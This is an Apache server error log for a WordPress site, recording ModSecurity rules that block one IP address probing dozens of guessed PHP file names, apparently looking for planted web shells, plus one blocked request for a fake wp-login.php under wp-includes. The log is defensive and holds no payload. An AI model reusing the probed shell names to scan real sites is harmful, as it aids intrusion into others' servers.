[Sun Jan 04 18:47:32.839693 2026] [:error] [pid 47943:tid 47993] [client 4.217.232.248:42072] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVpFRL2PMvm86Oe91S9RswAAAhU"]
[Sun Jan 04 18:47:36.821243 2026] [:error] [pid 47094:tid 47115] [client 4.217.232.248:29578] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVpFSOAxKgshwhlDnPMwrAAAARI"]
[Sun Jan 04 18:48:29.301127 2026] [:error] [pid 51238:tid 51248] [client 4.217.232.248:43936] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVpFfSTcdgLoN6wImqeK1wAAAkg"]
[Sun Jan 04 18:48:30.750082 2026] [:error] [pid 51328:tid 51355] [client 4.217.232.248:48270] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVpFfiMWRuZOO8ezt_390gAAAxY"]
[Sun Jan 04 18:48:31.902003 2026] [:error] [pid 50418:tid 50422] [client 4.217.232.248:24375] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVpFfxuiZ6RPOP-rMN9NUAAAAAI"]
[Sun Jan 04 18:48:34.025594 2026] [:error] [pid 50418:tid 50428] [client 4.217.232.248:47885] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aVpFghuiZ6RPOP-rMN9NVwAAAAg"]
[Sun Jan 04 18:48:37.080596 2026] [:error] [pid 51328:tid 51351] [client 4.217.232.248:47934] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVpFhSMWRuZOO8ezt_392QAAAxI"]
[Sun Jan 04 18:48:41.341753 2026] [:error] [pid 47094:tid 47104] [client 4.217.232.248:24364] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVpFieAxKgshwhlDnPMw7AAAAQc"]
[Sun Jan 04 18:48:43.140097 2026] [:error] [pid 47095:tid 47132] [client 4.217.232.248:24321] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVpFi74vyPZCmfGyjmp0XgAAAcg"]
[Sun Jan 04 18:48:45.270567 2026] [:error] [pid 51238:tid 51260] [client 4.217.232.248:47942] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "aVpFjSTcdgLoN6wImqeK3AAAAlQ"]
[Sun Jan 04 18:48:47.162208 2026] [:error] [pid 51238:tid 51250] [client 4.217.232.248:22505] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVpFjyTcdgLoN6wImqeK3wAAAko"]
[Sun Jan 04 18:48:48.413819 2026] [:error] [pid 50418:tid 50439] [client 4.217.232.248:42686] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVpFkBuiZ6RPOP-rMN9NlAAAABM"]
[Sun Jan 04 18:48:51.268864 2026] [:error] [pid 50418:tid 50432] [client 4.217.232.248:42639] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVpFkxuiZ6RPOP-rMN9NnQAAAAw"]
[Sun Jan 04 18:48:53.005896 2026] [:error] [pid 50418:tid 50425] [client 4.217.232.248:48354] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVpFlRuiZ6RPOP-rMN9NogAAAAU"]
[Sun Jan 04 18:48:57.004267 2026] [:error] [pid 51330:tid 51381] [client 4.217.232.248:48358] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fz.php"] [unique_id "aVpFmeFdI_-MPvhtGkmOLAAAA4A"]
[Sun Jan 04 18:49:00.479392 2026] [:error] [pid 51328:tid 51353] [client 4.217.232.248:48645] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fz.php"] [unique_id "aVpFnCMWRuZOO8ezt_399AAAAxQ"]
[Sun Jan 04 18:49:03.310735 2026] [:error] [pid 50418:tid 50432] [client 4.217.232.248:48725] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fz.php"] [unique_id "aVpFnxuiZ6RPOP-rMN9NtwAAAAw"]
[Sun Jan 04 18:49:07.161561 2026] [:error] [pid 50418:tid 50438] [client 4.217.232.248:48342] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fz.php"] [unique_id "aVpFoxuiZ6RPOP-rMN9NwQAAABI"]
[Sun Jan 04 18:49:10.052983 2026] [:error] [pid 47943:tid 47976] [client 4.217.232.248:48735] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sang.php"] [unique_id "aVpFpr2PMvm86Oe91S9SBAAAAgQ"]
[Sun Jan 04 18:49:12.275901 2026] [:error] [pid 47094:tid 47101] [client 4.217.232.248:44012] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sang.php"] [unique_id "aVpFqOAxKgshwhlDnPMxCwAAAQQ"]
[Sun Jan 04 18:49:14.032915 2026] [:error] [pid 15480:tid 15482] [client 4.217.232.248:21722] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sang.php"] [unique_id "aVpFqhBWKIu3SdvwTFin6QAAAIA"]
[Sun Jan 04 18:49:15.676200 2026] [:error] [pid 51271:tid 51293] [client 4.217.232.248:39646] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sang.php"] [unique_id "aVpFq06lEeK0FXEoMJkY3AAAApM"]
[Sun Jan 04 18:49:18.996766 2026] [:error] [pid 47095:tid 47140] [client 4.217.232.248:42638] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVpFrr4vyPZCmfGyjmp0ggAAAdA"]
[Sun Jan 04 18:49:20.812626 2026] [:error] [pid 15480:tid 15503] [client 4.217.232.248:48765] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVpFsBBWKIu3SdvwTFin8AAAAJU"]
[Sun Jan 04 18:49:23.582493 2026] [:error] [pid 51330:tid 51405] [client 4.217.232.248:48661] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVpFs-FdI_-MPvhtGkmOQgAAA5I"]
[Sun Jan 04 18:49:45.462512 2026] [autoindex:error] [pid 15480:tid 15482] [client 4.217.232.248:37464] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 18:50:24.725163 2026] [:error] [pid 15480:tid 15488] [client 4.217.232.248:37464] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVpF8BBWKIu3SdvwTFioGgAAAIY"]
[Sun Jan 04 18:50:27.245733 2026] [:error] [pid 15480:tid 15489] [client 4.217.232.248:39724] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVpF8xBWKIu3SdvwTFioGwAAAIc"]
[Sun Jan 04 18:50:33.135156 2026] [:error] [pid 50418:tid 50441] [client 4.217.232.248:11616] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVpF-RuiZ6RPOP-rMN9OTAAAABU"]
[Sun Jan 04 18:50:36.798272 2026] [:error] [pid 51328:tid 51355] [client 4.217.232.248:45833] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVpF_CMWRuZOO8ezt_3-JQAAAxY"]
[Sun Jan 04 18:50:39.864226 2026] [:error] [pid 15480:tid 15500] [client 4.217.232.248:34539] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVpF_xBWKIu3SdvwTFioKgAAAJI"]
[Sun Jan 04 18:50:41.986121 2026] [:error] [pid 51328:tid 51351] [client 4.217.232.248:29048] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVpGASMWRuZOO8ezt_3-KwAAAxI"]
[Sun Jan 04 18:50:44.758400 2026] [:error] [pid 51330:tid 51410] [client 4.217.232.248:22269] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVpGBOFdI_-MPvhtGkmOfQAAA5c"]
[Sun Jan 04 18:50:45.474420 2026] [:error] [pid 1080:tid 1155] [client 4.217.232.248:45864] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVpGBSu2Hm9AcIiqg0rAmQAAA9A"]
[Sun Jan 04 18:50:47.265245 2026] [:error] [pid 47094:tid 47111] [client 4.217.232.248:45833] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVpGB-AxKgshwhlDnPMxZwAAAQ4"]
[Sun Jan 04 18:50:49.036018 2026] [:error] [pid 51271:tid 51276] [client 4.217.232.248:29009] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVpGCU6lEeK0FXEoMJkZQQAAAoI"]
[Sun Jan 04 18:50:52.139982 2026] [:error] [pid 47094:tid 47102] [client 4.217.232.248:45826] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVpGDOAxKgshwhlDnPMxbAAAAQU"]
[Sun Jan 04 18:50:55.218057 2026] [:error] [pid 15480:tid 15502] [client 4.217.232.248:29053] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVpGDxBWKIu3SdvwTFioOAAAAJQ"]
[Sun Jan 04 18:50:57.545281 2026] [:error] [pid 51271:tid 51283] [client 4.217.232.248:25068] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVpGEU6lEeK0FXEoMJkZRwAAAok"]
[Sun Jan 04 18:50:58.981462 2026] [:error] [pid 51238:tid 51258] [client 4.217.232.248:45867] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVpGEiTcdgLoN6wImqeLfwAAAlI"]
[Sun Jan 04 18:51:00.368859 2026] [:error] [pid 47943:tid 47988] [client 4.217.232.248:23076] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVpGFL2PMvm86Oe91S9SRQAAAhA"]
[Sun Jan 04 18:51:01.216219 2026] [:error] [pid 47943:tid 47990] [client 4.217.232.248:11738] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVpGFb2PMvm86Oe91S9SRwAAAhI"]
[Sun Jan 04 18:51:04.206014 2026] [:error] [pid 51238:tid 51255] [client 4.217.232.248:23046] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVpGGCTcdgLoN6wImqeLiQAAAk8"]
[Sun Jan 04 18:51:06.771260 2026] [:error] [pid 51238:tid 51253] [client 4.217.232.248:49575] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVpGGiTcdgLoN6wImqeLkQAAAk0"]
[Sun Jan 04 18:51:08.604770 2026] [:error] [pid 51330:tid 51406] [client 4.217.232.248:23550] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVpGHOFdI_-MPvhtGkmOnQAAA5M"]
[Sun Jan 04 18:51:10.902915 2026] [:error] [pid 51271:tid 51288] [client 4.217.232.248:45824] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVpGHk6lEeK0FXEoMJkZUwAAAo4"]
[Sun Jan 04 18:51:14.523616 2026] [:error] [pid 54983:tid 54994] [client 4.217.232.248:39690] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVpGIij1D7W9ekfwAOfkkQAAAYc"]
[Sun Jan 04 18:52:22.519565 2026] [:error] [pid 47943:tid 47994] [client 4.217.232.248:43289] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVpGZr2PMvm86Oe91S9SuwAAAhY"]
[Sun Jan 04 18:52:24.188124 2026] [:error] [pid 47943:tid 47974] [client 4.217.232.248:40286] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVpGaL2PMvm86Oe91S9SwgAAAgI"]
[Sun Jan 04 18:52:25.410071 2026] [:error] [pid 54924:tid 54957] [client 4.217.232.248:40274] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVpGaSui7g9GJY9Xm_5AIwAAAUM"]
[Sun Jan 04 18:52:27.139081 2026] [:error] [pid 51271:tid 51281] [client 4.217.232.248:11395] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVpGa06lEeK0FXEoMJkZ5AAAAoc"]
[Sun Jan 04 18:52:29.397570 2026] [:error] [pid 51238:tid 51250] [client 4.217.232.248:27732] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpGbSTcdgLoN6wImqeMBAAAAko"]
[Sun Jan 04 18:52:31.138605 2026] [:error] [pid 1080:tid 1154] [client 4.217.232.248:12083] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpGbyu2Hm9AcIiqg0rBHQAAA88"]
[Sun Jan 04 18:52:32.794474 2026] [:error] [pid 54892:tid 54904] [client 4.217.232.248:11431] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpGcDQuH9c6y3HhHGsXWwAAAEk"]
[Sun Jan 04 18:52:34.281240 2026] [:error] [pid 54892:tid 54899] [client 4.217.232.248:12055] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpGcjQuH9c6y3HhHGsXXgAAAEQ"]
[Sun Jan 04 18:52:36.335995 2026] [:error] [pid 54923:tid 54927] [client 4.217.232.248:11841] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVpGdLOhyO0GLmhnxNaNJQAAAMA"]
